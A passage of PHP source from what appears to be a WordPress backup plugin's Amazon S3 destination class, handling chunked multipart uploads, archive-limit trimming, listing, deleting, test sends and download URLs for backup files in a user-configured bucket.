true ) ); // Work around "[curl] 65: necessary data rewind wasn't possible" issue. See https://github.com/aws/aws-sdk-php/issues/284 // Verify bucket exists; create if not. Also set region to the region bucket exists in. /* $prepareBucket = false; if ( ( true === $prepareBucket ) && ( false === self::_prepareBucketAndRegion( $settings ) ) ) { return self::_error( 'Error #983483437: Could not prepare bucket `' . $settings['bucket'] . '` in region `' . $settings['region'] . '`.' ); } else { pb_backupbuddy::status( 'details', 'Skipping bucket prepare.' ); } */ } return $settings; // Formatted & updated settings. } // End _init(). /* _formatSettings() * * Called by _formatSettings(). * */ public static function _formatSettings( $settings ) { // Apply defaults. $settings = array_merge( self::$default_settings, $settings ); // Format bucket. $settings['bucket'] = strtolower( $settings['bucket'] ); // Format directory. $settings['directory'] = trim( $settings['directory'], '/\\' ); if ( $settings['directory'] != '' ) { $settings['directory'] .= '/'; } return $settings; } // End _formatSettings(). /* send() * * Send one or more files. * * @param array $file Array of one or more files to send. * @return boolean|array True on success, false on failure, array if a multipart chunked send so there is no status yet. */ public static function send( $settings = array(), $file, $send_id = '', $delete_after = false ) { pb_backupbuddy::status( 'details', 'Starting S32 send().' ); global $pb_backupbuddy_destination_errors; if ( '1' == $settings['disabled'] ) { $pb_backupbuddy_destination_errors[] = __( 'Error #48933: This destination is currently disabled. Enable it under this destination\'s Advanced Settings.', 'it-l10n-backupbuddy' ); return false; } $settings = self::_init( $settings ); // Handles formatting & sanitizing settings. $chunkSizeBytes = $settings['max_burst'] * 1024 * 1024; // Send X mb at a time to limit memory usage. self::$_timeStart = microtime( true ); if ( pb_backupbuddy::$options['log_level'] == '3' ) { // Full logging enabled. pb_backupbuddy::status( 'details', 'Settings due to log level: `' . print_r( $settings, true ) . '`.' ); } // Initiate multipart upload. if ( '' == $settings['_multipart_id'] ) { // New transfer. Note: All transfers are handled as presumed multiparts for ease. // Handle chunking of file into a multipart upload (if applicable). $file_size = filesize( $file ); pb_backupbuddy::status( 'details', 'File size of `' . pb_backupbuddy::$format->file_size( $file_size ) . '`.' ); if ( ( ! isset( $settings['stash_mode'] ) || ( '1' != $settings['stash_mode'] ) ) && ( ! isset( $settings['live_mode'] ) || ( '1' != $settings['live_mode'] ) ) ) { // Stash handles its own cleanup and Live schedules multipart cleanup separate. // About to chunk so cleanup any previous hanging multipart transfers. self::multipart_cleanup( $settings ); } // Initiate multipart upload with S3. pb_backupbuddy::status( 'details', 'Initiating multipart transfer.' ); $thisCall = array( 'Bucket' => $settings['bucket'], 'Key' => $settings['directory'] . basename( $file ), 'StorageClass' => strtoupper( $settings['storage'] ), 'ServerSideEncryption' => 'AES256', ); if ( ( '1' == $settings['stash_mode'] ) && ( ! isset( $settings['live_mode'] ) || ( '1' != $settings['live_mode'] ) ) ) { // Stash mode but not live mode. $thisCall['Key'] = $settings['_stash_object']; unset( $thisCall['StorageClass'] ); } try { $response = self::$_client->createMultipartUpload( $thisCall ); } Catch( Exception $e ) { if ( pb_backupbuddy::$options['log_level'] == '3' ) { // Full logging enabled. pb_backupbuddy::status( 'details', 'Call details due to logging level: `' . print_r( $thisCall, true ) . '`.' ); } return self::_error ( 'Error #389383: Unable to initiate multipart upload. Details: `' . $e->getMessage() . '`.' ); } // Made it here so SUCCESS initiating multipart! $upload_id = (string) $response['UploadId']; pb_backupbuddy::status( 'details', 'Initiated multipart upload with ID `' . $upload_id . '`.' ); $backup_type = backupbuddy_core::getBackupTypeFromFile( $file ); // Calculate multipart settings. $multipart_destination_settings = $settings; $multipart_destination_settings['_multipart_id'] = $upload_id; $multipart_destination_settings['_multipart_partnumber'] = 0; $multipart_destination_settings['_multipart_file'] = $file; $multipart_destination_settings['_multipart_remotefile'] = $settings['directory'] . basename( $file ); if ( '1' == $settings['stash_mode'] ) { $multipart_destination_settings['_multipart_remotefile'] = $settings['_stash_object']; } $multipart_destination_settings['_multipart_counts'] = self::_get_multipart_counts( $file_size, $settings['max_burst'] * 1024 * 1024 ); // Size of chunks expected to be in bytes. $multipart_destination_settings['_multipart_backup_type'] = $backup_type; $multipart_destination_settings['_multipart_backup_size'] = $file_size; $multipart_destination_settings['_multipart_etag_parts'] = array(); //pb_backupbuddy::status( 'details', 'Multipart settings to pass:' . print_r( $multipart_destination_settings, true ) ); //$multipart_destination_settings['_multipart_status'] = 'Starting send of ' . count( $multipart_destination_settings['_multipart_counts'] ) . ' parts.'; pb_backupbuddy::status( 'details', 'Multipart initiated; passing over to send first chunk this run. Burst size: `' . $settings['max_burst'] . ' MB`.' ); $settings = $multipart_destination_settings; // Copy over settings. unset( $multipart_destination_settings ); } // end initiating multipart. // Send parts. $backup_type = str_replace( '/', '', $settings['_multipart_backup_type'] ); // For use later by file limiting. $backup_size = $settings['_multipart_backup_size']; $maxTime = $settings['max_time']; if ( ( '' == $maxTime ) || ( ! is_numeric( $maxTime ) ) ) { pb_backupbuddy::status( 'details', 'Max time not set in settings so detecting server max PHP runtime.' ); $maxTime = backupbuddy_core::detectMaxExecutionTime(); } pb_backupbuddy::status( 'details', 'Using max runtime: `' . $maxTime . '`.' ); // Open file for streaming. $f = @fopen( $settings['_multipart_file'], 'r' ); if ( false === $f ) { return self::_error( 'Error #437734. Unable to open file `' . $settings['_multipart_file'] . '` to send. Did it get deleted?' ); } $fileDone = false; while ( ( ! $fileDone ) && ( ! feof( $f ) ) ) { $sendStart = microtime( true ); if ( ! isset( $settings[ '_retry_stash_confirm' ] ) || ( true !== $settings[ '_retry_stash_confirm' ] ) ) { // Skip send if only needing to confirm. // Made it here so success sending part. Increment for next part to send. $settings['_multipart_partnumber']++; if ( ! isset( $settings['_multipart_counts'][ ( $settings['_multipart_partnumber'] -1 ) ]['seekTo'] ) ) { pb_backupbuddy::status( 'warning', 'Warning #8239933: Missing multipart partnumber to seek to. This is normal if the file is zero bytes. Settings array: `' . print_r( $settings, true ) . '`.' ); if ( 0 == filesize( $settings['_multipart_file'] ) ) { $contentLength = 0; } else { pb_backupbuddy::status( 'error', 'Error #392383: Missing multipart data and NOT a zero byte file. Aborting.' ); return false; } } else { if ( -1 == ( fseek( $f, (integer) $settings['_multipart_counts'][ ( $settings['_multipart_partnumber'] - 1 ) ]['seekTo'] ) ) ) { return self::_error( 'Error #833838: Unable to fseek file.' ); } $contentLength = (integer) $settings['_multipart_counts'][ ( $settings['_multipart_partnumber'] - 1 ) ]['length']; } pb_backupbuddy::status( 'details', 'Beginning upload of part `' . $settings['_multipart_partnumber'] . '` of `' . count( $settings['_multipart_counts'] ) . '` parts of file `' . $settings['_multipart_file'] . '` to remote location `' . $settings['_multipart_remotefile'] . '` with multipart ID `' . $settings['_multipart_id'] . '`.' ); $uploadArr = array( 'Bucket' => $settings['bucket'], 'Key' => $settings['_multipart_remotefile'], 'UploadId' => $settings['_multipart_id'], 'PartNumber' => $settings['_multipart_partnumber'], 'ContentLength' => $contentLength, ); if ( $contentLength > 0 ) { $uploadArr['Body'] = fread( $f, $contentLength ); } else { // File is 0 bytes. Empty body. $uploadArr['Body'] = ''; } //pb_backupbuddy::status( 'details', 'Send array: `' . print_r( $uploadArr, true ) . '`.' ); //error_log( print_r( $uploadArr, true ) ); try { $response = self::$_client->uploadPart( $uploadArr ); } Catch( Exception $e ) { @fclose( $f ); return self::_error( 'Error #3897923: Unable to upload file part for multipart upload of ID `' . $settings['_multipart_id'] . '`. Details: `' . $e->getMessage() . '`.' ); } self::$_chunksSentThisRound++; $settings['_multipart_etag_parts'][] = array( 'PartNumber' => $settings['_multipart_partnumber'], 'ETag' => $response['ETag'], ); if ( pb_backupbuddy::$options['log_level'] == '3' ) { // Full logging enabled. pb_backupbuddy::status( 'details', 'Success sending chunk. Upload details due to log level: `' . print_r( $response, true ) . '`.' ); } else { pb_backupbuddy::status( 'details', 'Success sending chunk. Enable full logging for upload result details.' ); } $uploaded_size = $contentLength; $elapseTime = ( microtime(true) - $sendStart ); if ( 0 == $elapseTime ) { $elapseTime = 1; } $uploaded_speed = $uploaded_size / $elapseTime; pb_backupbuddy::status( 'details', 'Uploaded size this burst: `' . pb_backupbuddy::$format->file_size( $uploaded_size ) . '`, Start time: `' . $sendStart . '`. Finish time: `' . microtime(true) . '`. Elapsed: `' . (microtime(true) - $sendStart ) . '`. Speed: `' . pb_backupbuddy::$format->file_size( $uploaded_speed ) . '`/sec.' ); } // Load fileoptions to the send. if ( isset( $fileoptions_obj ) ) { pb_backupbuddy::status( 'details', 'fileoptions already loaded from prior pass.' ); } else { // load fileoptions pb_backupbuddy::status( 'details', 'About to load fileoptions data.' ); require_once( pb_backupbuddy::plugin_path() . '/classes/fileoptions.php' ); pb_backupbuddy::status( 'details', 'Fileoptions instance #10.' ); $fileoptions_obj = new pb_backupbuddy_fileoptions( backupbuddy_core::getLogDirectory() . 'fileoptions/send-' . $send_id . '.txt', $read_only = false, $ignore_lock = false, $create_file = false ); if ( true !== ( $result = $fileoptions_obj->is_ok() ) ) { return self::_error( __('Fatal Error #9034.23788723. Unable to access fileoptions data.', 'it-l10n-backupbuddy' ) . ' Error: ' . $result ); } pb_backupbuddy::status( 'details', 'Fileoptions data loaded.' ); $fileoptions = &$fileoptions_obj->options; } //$update_status = 'Sent part ' . $settings['_multipart_partnumber'] . ' of ' . count( $settings['_multipart_counts'] ) . '.'; if ( ! isset( $settings['_multipart_counts'][ $settings['_multipart_partnumber'] ] ) ) { // No more parts exist for this file. Tell S3 the multipart upload is complete and move on. if ( isset( $settings[ '_retry_stash_confirm' ] ) && ( true === $settings[ '_retry_stash_confirm' ] ) ) { // Need to retry checking that the file confirm was a success. // Grab array of files from customer's stash directory $files = pb_backupbuddy_destination_stash2::listFiles( $settings, $settings['_multipart_file'] ); if ( count( $files ) > 0 ) { pb_backupbuddy::status( 'details', 'Stash confirmed upload completition was successful.' ); } else { pb_backupbuddy::status( 'error', 'Error #23972793: Error notifying Stash of upload success even after wait. Details: `' . print_r( $response, true ) . '`.' ); return false; } } else { // Normal Stash part send. $update_status = 'Sent part ' . $settings['_multipart_partnumber'] . ' of ' . count( $settings['_multipart_counts'] ) . ' parts.'; pb_backupbuddy::status( 'details', 'Getting etags and notifying of multipart upload completion.' ); try { $response = self::$_client->completeMultipartUpload( array( 'Bucket' => $settings['bucket'], 'UploadId' => $settings['_multipart_id'], 'Key' => $settings['_multipart_remotefile'], 'Parts' => $settings['_multipart_etag_parts'] ) ); } Catch( Exception $e ) { return self::_error( 'Unable to notify server of completion of all parts for multipart upload `' . $settings['_multipart_id'] . '`. Details: `' . $e->getMessage() . '`.' ); } pb_backupbuddy::status( 'details', 'Server notified of multipart completion.' ); if ( '1' == $settings['stash_mode'] ) { // Stash send confirm. pb_backupbuddy::status( 'details', 'Notifying Stash of upload completion.' ); $additionalParams =array( 'upload_id' => $settings['_stash_upload_id'], ); $response = pb_backupbuddy_destination_stash2::stashAPI( $settings, 'upload-complete', $additionalParams ); if ( ( ! is_array( $response ) ) || ( ! isset( $response['success'] ) ) ) { // If not array OR success key missing. May be a timeout or waiting on AWS system to combine multipart still. Check for file later. $settings[ '_retry_stash_confirm' ] = true; $settings['_multipart_counts'] = array(); // No more parts remain. $cronTime = time() + self::STASH_CONFIRM_RETRY_DELAY; $cronArgs = array( $settings, $file, $send_id, $delete_after ); $cronHashID = md5( $cronTime . serialize( $cronArgs ) ); $cronArgs[] = $cronHashID; $schedule_result = backupbuddy_core::schedule_single_event( $cronTime, 'destination_send', $cronArgs ); if ( true === $schedule_result ) { pb_backupbuddy::status( 'details', 'Scheduled retry attempt to confirm send in `' . self::STASH_CONFIRM_RETRY_DELAY . '` seconds.' ); } else { pb_backupbuddy::status( 'error', 'Scheduled retry attempt FAILED to be scheduled.' ); } /* * TODO: Once PING API is available, request a ping in the future so we make sure this actually runs reasonably soon. * Because we need a delay we are not firing off the cron here immediately so there will be no chaining of PHP * which may result in large delays before the next process if there's little site traffic. */ return array( $settings['_multipart_id'], 'Pending multipart send confirmation.' ); } else { // Array. if ( ( isset( $response['success'] ) && ( true !== $response['success'] ) ) ) { // Success key set AND not true. pb_backupbuddy::status( 'error', 'Error #83298932: Error notifying Stash of upload success. Details: `' . print_r( $response, true ) . '`.' ); return false; } else { // Success. pb_backupbuddy::status( 'details', 'Stash notified of upload completition.' ); } } } } // end not a Stash confirm retry. pb_backupbuddy::status( 'details', 'No more parts left for this multipart upload. Clearing multipart instance variables.' ); $settings['_multipart_partnumber'] = 0; $settings['_multipart_id'] = ''; $settings['_multipart_file'] = ''; $settings['_multipart_remotefile'] = ''; // Multipart completed so safe to prevent housekeeping of incomplete multipart uploads. $settings['_multipart_transferspeeds'][] = $uploaded_speed; // Overall upload speed average. if ( count( $settings['_multipart_counts'] ) > 0 ) { // This can be zero if the filesize was 0 bytes (we only uplaoded an empty string in body if this was the case). $uploaded_speed = array_sum( $settings['_multipart_transferspeeds'] ) / count( $settings['_multipart_counts'] ); } else { $uploaded_speed = $uploaded_speed; } pb_backupbuddy::status( 'details', 'Upload speed average of all chunks: `' . pb_backupbuddy::$format->file_size( $uploaded_speed ) . '`.' ); $settings['_multipart_counts'] = array(); // Update stats. $fileoptions['_multipart_status'] = $update_status; $fileoptions['finish_time'] = microtime( true ); $fileoptions['status'] = 'success'; if ( isset( $uploaded_speed ) ) { $fileoptions['write_speed'] = $uploaded_speed; } $fileoptions_obj->save(); unset( $fileoptions ); $fileDone = true; @fclose( $f ); } else { // Parts remain. Schedule to continue if anything is left to upload for this multipart of any individual files. pb_backupbuddy::status( 'details', 'S3 multipart upload has more parts left.' ); $update_status = '<br>'; $totalSent = 0; for( $i = 0; $i < $settings['_multipart_partnumber']; $i++ ) { $totalSent += $settings['_multipart_counts'][ $i ]['length']; } $percentSent = ceil( ( $totalSent / $settings['_multipart_backup_size'] ) * 100 ); $update_status .= '<div class="backupbuddy-progressbar" data-percent="' . $percentSent . '"><div class="backupbuddy-progressbar-label"></div></div>'; if ( '0' != $maxTime ) { // Not unlimited time so see if we can send more bursts this time or if we need to chunk. // If we are within X second of reaching maximum PHP runtime then stop here so that it can be picked up in another PHP process... $totalSizeSent = self::$_chunksSentThisRound * $chunkSizeBytes; // Total bytes sent this PHP load. $bytesPerSec = $totalSizeSent / ( microtime( true ) - $sendStart ); $timeRemaining = $maxTime - ( ( microtime( true ) - self::$_timeStart ) + self::TIME_WIGGLE_ROOM ); if ( $timeRemaining < 0 ) { $timeRemaining = 0; } $bytesWeCouldSendWithTimeLeft = $bytesPerSec * $timeRemaining; //pb_backupbuddy::status( 'details', 'Sent this burst: `' . pb_backupbuddy::$format->file_size( $totalSizeSent ) .'` in `' . (microtime(true) - $sendStart ) . '` secs. Speed: `' . pb_backupbuddy::$format->file_size( $bytesPerSec ) . '`/sec. Time Remaining (w/ wiggle): `' . $timeRemaining . '`. Size that could potentially be sent with remaining time: `' . pb_backupbuddy::$format->file_size( $bytesWeCouldSendWithTimeLeft ) . '` with chunk size of `' . pb_backupbuddy::$format->file_size( $chunkSizeBytes ) . '`.' ); if ( $bytesWeCouldSendWithTimeLeft < $chunkSizeBytes ) { // We can send more than a whole chunk (including wiggle room) so send another bit. pb_backupbuddy::status( 'message', 'Not enough time left (~`' . $timeRemaining . '`) with max time of `' . $maxTime . '` sec to send another chunk at `' . pb_backupbuddy::$format->file_size( $bytesPerSec ) . '` / sec. Ran for ' . round( microtime( true ) - self::$_timeStart, 3 ) . ' sec. Proceeding to use chunking.' ); @fclose( $fs ); $cronTime = time(); $cronArgs = array( $settings, $file, $send_id, $delete_after ); $cronHashID = md5( $cronTime . serialize( $cronArgs ) ); $cronArgs[] = $cronHashID; $schedule_result = backupbuddy_core::schedule_single_event( $cronTime, 'destination_send', $cronArgs ); if ( true === $schedule_result ) { pb_backupbuddy::status( 'details', 'Next S3 chunk step cron event scheduled.' ); } else { pb_backupbuddy::status( 'error', 'Next S3 chunk step cron event FAILED to be scheduled.' ); } if ( '1' != pb_backupbuddy::$options['skip_spawn_cron_call'] ) { update_option( '_transient_doing_cron', 0 ); // Prevent cron-blocking for next item. spawn_cron( time() + 150 ); // Adds > 60 seconds to get around once per minute cron running limit. } @fclose( $f ); unset( $fileoptions ); return array( $settings['_multipart_id'], 'Sent part ' . $settings['_multipart_partnumber'] . ' of ' . count( $settings['_multipart_counts'] ) . ' parts.' . $update_status ); } else { // End if. pb_backupbuddy::status( 'details', 'Not approaching limits. Proceeding to next burst this run.' ); } } else { pb_backupbuddy::status( 'details', 'Max time of zero (0) so assuming unlimited time.' ); } $fileoptions['_multipart_status'] = 'Sent part ' . $settings['_multipart_partnumber'] . ' of ' . count( $settings['_multipart_counts'] ) . ' parts.' . $update_status; $fileoptions_obj->save(); //unset( $fileoptions ); } // end no more parts remain. } // End while not feof. /***** BEGIN FILE ARCHIVE LIMITS *****/ if ( '1' != $settings['live_mode'] ) { if ( '1' == $settings['stash_mode'] ) { // This is being wrapped by the Stash destination. Stash uses a different method of handling archive limiting due to using Stash API. pb_backupbuddy_destination_stash2::archiveLimit( $settings, $backup_type ); } else { // Normal. This is just a s32 destination. self::archiveLimit( $settings, $backup_type ); } } /***** END FILE ARCHIVE LIMITS *****/ if ( isset( $fileoptions_obj ) ) { unset( $fileoptions_obj ); } // Success if we made it this far. return true; } // End send(). /* archiveLimit() * * Return null. * */ public static function archiveLimit( $settings, $backup_type ) { if ( $backup_type == 'full' ) { $limit = $settings['full_archive_limit']; pb_backupbuddy::status( 'details', 'Full backup archive limit of `' . $limit . '` of type `full` based on destination settings.' ); } elseif ( $backup_type == 'db' ) { $limit = $settings['db_archive_limit']; pb_backupbuddy::status( 'details', 'Database backup archive limit of `' . $limit . '` of type `db` based on destination settings.' ); } elseif ( $backup_type == 'files' ) { $limit = $settings['files_archive_limit']; pb_backupbuddy::status( 'details', 'Database backup archive limit of `' . $limit . '` of type `files` based on destination settings.' ); } else { $limit = 0; pb_backupbuddy::status( 'warning', 'Warning #237332. Unable to determine backup type (reported: `' . $backup_type . '`) so archive limits NOT enforced for this backup.' ); } if ( $limit > 0 ) { pb_backupbuddy::status( 'details', 'Archive limit enforcement beginning.' ); // Get file listing. try { $response_manage = self::$_client->listObjects( array( 'Bucket' => $settings['bucket'], 'Prefix' => $settings['directory'] . 'backup-' . backupbuddy_core::backup_prefix() ) ); // List all users files in this directory that are a backup for this site (limited by prefix). } Catch( Exception $e ) { return self::_error( 'Error #9338292: Unable to list files for archive limiting. Details: `' . $e->getMessage() . '`.' ); } if ( ! is_array( $response_manage['Contents'] ) ) { $response_manage['Contents'] = array(); } // List backups associated with this site by date. $backups = array(); foreach( $response_manage['Contents'] as $object ) { $file = str_replace( $settings['directory'], '', $object['Key'] ); if ( $backup_type != backupbuddy_core::getBackupTypeFromFile( $file, $quiet = true ) ) { continue; // Not of the same backup type. } $backups[$file] = strtotime( $object['LastModified'] ); } arsort( $backups ); pb_backupbuddy::status( 'details', 'Found `' . count( $backups ) . '` backups of this type when checking archive limits out of `' . count( $response_manage['Contents'] ) . '` total files in this location.' ); if ( ( count( $backups ) ) > $limit ) { pb_backupbuddy::status( 'details', 'More archives (' . count( $backups ) . ') than limit (' . $limit . ') allows. Trimming...' ); $i = 0; $delete_fail_count = 0; foreach( $backups as $buname => $butime ) { $i++; if ( $i > $limit ) { pb_backupbuddy::status( 'details', 'Trimming excess file `' . $buname . '`...' ); try { $response = self::$_client->deleteObject( array( 'Bucket' => $settings['bucket'], 'Key' => $settings['directory'] . $buname, ) ); } Catch( Exception $e ) { self::_error( 'Unable to delete excess Stash file `' . $buname . '`. Details: `' . $e->getMessage() . '`.' ); $delete_fail_count++; } } } // end foreach. pb_backupbuddy::status( 'details', 'Finished trimming excess backups.' ); if ( $delete_fail_count !== 0 ) { $error_message = 'Stash remote limit could not delete ' . $delete_fail_count . ' backups.'; pb_backupbuddy::status( 'error', $error_message ); backupbuddy_core::mail_error( $error_message ); } } pb_backupbuddy::status( 'details', 'Stash completed archive limiting.' ); } else { pb_backupbuddy::status( 'details', 'No Stash archive file limit to enforce.' ); } // End remote backup limit return true; } // End archiveLimit(). /* listFiles() * * Returns array of files or string error message. * */ public static function listFiles( $settings, $prefix = '', $marker = '' ) { $settings = self::_init( $settings ); /* echo '<br>Prefix: ' . $prefix . '<br>'; echo 'listfilessettings:<pre>'; print_r( $settings ); echo '</pre>'; */ $options = array( 'Bucket' => $settings['bucket'], 'Prefix' => $prefix ); if ( isset( $settings['max_filelist_keys'] ) ) { $options['MaxKeys'] = $settings['max_filelist_keys']; } if ( '' !== $marker ) { $options['Marker'] = $marker; } try { $response = self::$_client->listObjects( $options ); // list all the files in the subscriber account. } Catch( Exception $e ) { $error = 'Error #838393: Unable to list files. Details: `' . $e->getMessage() . '`. Bucket: `' . $settings['bucket'] . '`. Prefix: `' . $prefix . '`.'; if ( stristr( $error, 'Please send all future requests to this endpoint' ) ) { $error .= ' TO FIX THIS: Navigate to the settings for this destination and change the `Bucket region` to the correct location.'; } self::_error( $error ); return $error; } /* echo ' listfilesResponse:<pre>'; print_r( $response ); echo '</pre>'; */ return (array)$response['Contents']; } // End listFiles(). /* deleteFile() * * Alias to deleteFiles(). * */ public static function deleteFile( $settings, $file ) { if ( ! is_array( $file ) ) { $file = array( $file ); } return self::deleteFiles( $settings, $file ); } // End deleteFile(). /* deleteFiles() * * true success deleting all files else string error message. * */ public static function deleteFiles( $settings, $files = array() ) { $settings = self::_init( $settings ); if ( ! is_array( $files ) ) { $files = array( $files ); } //echo 'dir: ' . $settings['directory']; $fileKeys = array(); foreach( (array)$files as $file ) { $fileKeys[] = array( 'Key' => rtrim( $settings['directory'], '/\\' ) . '/' . ltrim( $file, '/\\' ), ); } /* echo '<pre>'; print_r( $fileKeys ); echo '</pre>'; */ try { $response = self::$_client->deleteObjects( array( 'Bucket' => $settings['bucket'], 'Objects' => $fileKeys ) ); // list all the files in the subscriber account } Catch( Exception $e ) { $error = 'Error #83823233393: Unable to delete one or more files. Details: `' . $e->getMessage() . '`.'; self::_error( $error ); return $error; } $error = ''; if ( isset( $response['Errors'] ) ) { foreach( $response['Errors'] as $responseError ) { $error .= $responseError['Message']; } pb_backupbuddy::status( 'error', $error ); return $error; } return true; } // End deleteFiles(). /* test() * * Tests ability to write to this remote destination. * * @param array $settings Destination settings. * @return bool|string True on success, string error message on failure. */ public static function test( $settings ) { $settings = self::_init( $settings ); $sendOK = false; $deleteOK = false; $send_id = 'TEST-' . pb_backupbuddy::random_string( 12 ); // Try sending a file. if ( ( '1' == $settings['stash_mode'] ) && ( ! isset( $settings['live_mode'] ) || ( '1' != $settings['live_mode'] ) ) ) { // Stash mode but not live mode. $settings['type'] = 'stash2'; } $send_response = pb_backupbuddy_destinations::send( $settings, dirname( dirname( __FILE__ ) ) . '/remote-send-test.php', $send_id ); // 3rd param true forces clearing of any current uploads. if ( true === $send_response ) { $send_response = __( 'Success.', 'it-l10n-backupbuddy' ); $sendOK = true; } else { global $pb_backupbuddy_destination_errors; $send_response = 'Error sending test file to S3 (v2). Details: `' . implode( ', ', $pb_backupbuddy_destination_errors ) . '`.'; } pb_backupbuddy::add_status_serial( 'remote_send-' . $send_id ); // Delete sent file if it was sent. $delete_response = 'n/a'; if ( true === $sendOK ) { pb_backupbuddy::status( 'details', 'Preparing to delete sent test file.' ); if ( '1' == $settings['stash_mode'] ) { // Stash mode. if ( true === ( $delete_response = pb_backupbuddy_destination_stash2::deleteFile( $settings, 'remote-send-test.php' ) ) ) { // success $delete_response = __( 'Success.', 'it-l10n-backupbuddy' ); $deleteOK = true; } else { // error $error = 'Unable to delete Stash test file `remote-send-test.php`. Details: `' . $delete_response . '`.'; $delete_response = $error; $deleteOK = false; } } else { // S3 mode. if ( true === ( $delete_response = self::deleteFile( $settings, 'remote-send-test.php' ) ) ) { $delete_response = __( 'Success.', 'it-l10n-backupbuddy' ); $deleteOK = true; } else { $error = 'Unable to delete test file `remote-send-test.php`. Details: `' . $delete_response . '`.'; pb_backupbuddy::status( 'details', $error ); $delete_response = $error; $deleteOK = false; } } } else { // end if $sendOK. pb_backupbuddy::status( 'details', 'Skipping test delete due to failed send.' ); } // Load destination fileoptions. pb_backupbuddy::status( 'details', 'About to load fileoptions data.' ); require_once( pb_backupbuddy::plugin_path() . '/classes/fileoptions.php' ); pb_backupbuddy::status( 'details', 'Fileoptions instance #7.' ); $fileoptions_obj = new pb_backupbuddy_fileoptions( backupbuddy_core::getLogDirectory() . 'fileoptions/send-' . $send_id . '.txt', $read_only = false, $ignore_lock = false, $create_file = false ); if ( true !== ( $result = $fileoptions_obj->is_ok() ) ) { return self::_error( __('Fatal Error #9034.84838. Unable to access fileoptions data.', 'it-l10n-backupbuddy' ) . ' Error: ' . $result ); } pb_backupbuddy::status( 'details', 'Fileoptions data loaded.' ); $fileoptions = &$fileoptions_obj->options; if ( ( true !== $sendOK ) || ( true !== $deleteOK ) ) { $fileoptions['status'] = 'failure'; $fileoptions_obj->save(); unset( $fileoptions_obj ); return 'Send details: `' . $send_response . '`. Delete details: `' . $delete_response . '`.'; } else { $fileoptions['status'] = 'success'; $fileoptions['finish_time'] = time(); } $fileoptions_obj->save(); unset( $fileoptions_obj ); pb_backupbuddy::status( 'details', 'Finished test function.' ); return true; } // End test(). /* download_file() * * Download remote file to local system. * * @param array $settings Destination settings. * @param string $remoteFile Remote filename. * @param string $localDestinationFile Full path & filename of destination file. * */ public static function download_file( $settings, $remoteFile, $localDestinationFile ) { $settings = self::_init( $settings ); pb_backupbuddy::status( 'details', 'Downloading remote file `' . $remoteFile . '` from S3 to local file `' . $localDestinationFile . '`.' ); try { $response = self::$_client->get_object( array( 'Bucket' => $settings['bucket'], 'Key' => $remotePath . $remoteFile, 'SaveAs' => $localDestinationFile ) ); } Catch( Exception $e ) { return self::_error( 'Error #382938: Unable to retrieve file. Details: `' . $e->getMessage() . '`.' ); } return true; } // end download_file(). /* getFileURL() * * Get download URL for a file. * * @param array $settings Destination settings. * @param string $remoteFile Filename of remote file. Does NOT contain path as it is calculated from $settings. * @param int $expires Timestamp to expire. Defaults to 1 hour. * @return * */ public static function getFileURL( $settings, $remoteFile, $expires = 0 ) { $settings = self::_init( $settings ); pb_backupbuddy::status( 'details', 'Getting download URL.' ); if ( ( 0 == $expires ) || ( ! is_numeric( $expires ) ) ) { $expires = time() + 3600; // 1 hour default. } try { $response = self::$_client->getObjectUrl( $settings['bucket'], $settings['directory'] . $remoteFile, $expires ); } Catch( Exception $e ) { return self::_error( 'Error #349734634: Unable to retrieve file URL. Details: `' . $e->getMessage() . '`.' ); } return $response; } // End getFileURL(). /* getCredentials() * * Get the required credentials and management data for managing user files. * * @return false|array Boolean false on failure. Array of data on success. */ public static function getCredentials( $settings ) { $settings['bucket'] = strtolower( $settings['bucket'] ); // Buckets must be lowercase. if ( '1' == $settings['use_packaged_cert'] ) { pb_backupbuddy::status( 'details', 'Using packaged cacert.pem file based on destination settings.' ); $credentials['ssl.certificate_authority'] = pb_backupbuddy::plugin_path() . '/destinations/_s3lib2/Guzzle/Http/Resources/cacert.pem'; } if ( isset( $settings['credentials'] ) ) { $credentials['credentials'] = $settings['credentials']; return $credentials; } else { $credentials['key'] = $settings['accesskey']; $credentials['secret'] =$settings['secretkey']; return $credentials; } } // End getCredentials(). public static function get_bucket_region( $bucket ) { try { $result = self::$_client->getBucketLocation(array( 'Bucket' => $bucket, )); } catch (Exception $e) { throw new Exception( $e->getMessage() ); } if ( ! isset( $result->Location ) ) { // Blank means default standard location. return 'us-east-1'; } $location = $result->Location; if ( 'EU' == $location ) { $location = 'eu-west-1'; } return $location; } /* multipart_cleanup() * * S3 does NOT automatically clean up failed or expired multipart chunk files so clean up for them. * */ public static function multipart_cleanup( $settings ) { $settings = self::_init( $settings ); // Handles formatting & sanitizing settings. pb_backupbuddy::status( 'details', 'AWS Multipart cleanup beginning.' ); $backupDetectPrefix = 'backup-'; if ( isset( $settings['live_mode'] ) && ( '1' == $settings['live_mode'] ) ) { $backupDetectPrefix = ''; } try { $response = self::$_client->listMultipartUploads( array( 'Bucket' => $settings['bucket'], 'prefix' => $settings['directory'] . $backupDetectPrefix, ) ); } Catch( Exception $e ) { return self::_error( 'Error #84397849347: Unable to list existing multipart uploads. Details: `' . $e->getMessage() . '`' ); } if ( pb_backupbuddy::$options['log_level'] == '3' ) { // Full logging enabled. pb_backupbuddy::status( 'details', 'Multipart upload check retrieved. Found `' . count( $response['Uploads'] ) . '` multipart uploads in progress / stalled. Full logging mode details: `' . print_r( $response, true ) . '`' ); } else { pb_backupbuddy::status( 'details', 'Multipart upload check retrieved. Found `' . count( $response['Uploads'] ) . '` multipart uploads in progress / stalled. Old BackupBuddy parts will be cleaned up (if any found) ...' ); } // Loop through each incomplete multipart upload. foreach( (array)$response['Uploads'] as $upload ) { if ( pb_backupbuddy::$options['log_level'] == '3' ) { // Full logging enabled. pb_backupbuddy::status( 'details', 'Checking upload (full logging mode): ' . print_r( $upload, true ) ); } //if ( FALSE !== stristr( $upload['Key'], $backupDetectPrefix ) ) { // BackupBuddy backup file. $initiated = strtotime( $upload['Initiated'] ); if ( pb_backupbuddy::$options['log_level'] == '3' ) { // Full logging enabled. pb_backupbuddy::status( 'details', 'Multipart Chunked Upload(s) detected in progress. Full logging age: `' . pb_backupbuddy::$format->time_ago( $initiated ) . '`.' ); } // If too old then cancel it. if ( ( $initiated + self::MAX_AGE_MULTIPART_UPLOADS ) < time() ) { pb_backupbuddy::status( 'details', 'Aborting stalled Multipart Chunked Upload with ID `' . $upload->UploadId . '` of age `' . pb_backupbuddy::$format->time_ago( $initiated ) . '`.' ); try { self::$_client->abortMultipartUpload( array( 'Bucket' => $settings['bucket'], 'Key' => $upload['Key'], 'UploadId' => $upload['UploadId'] ) ); pb_backupbuddy::status( 'details', 'Abort success.' ); } Catch( Exception $e ) { 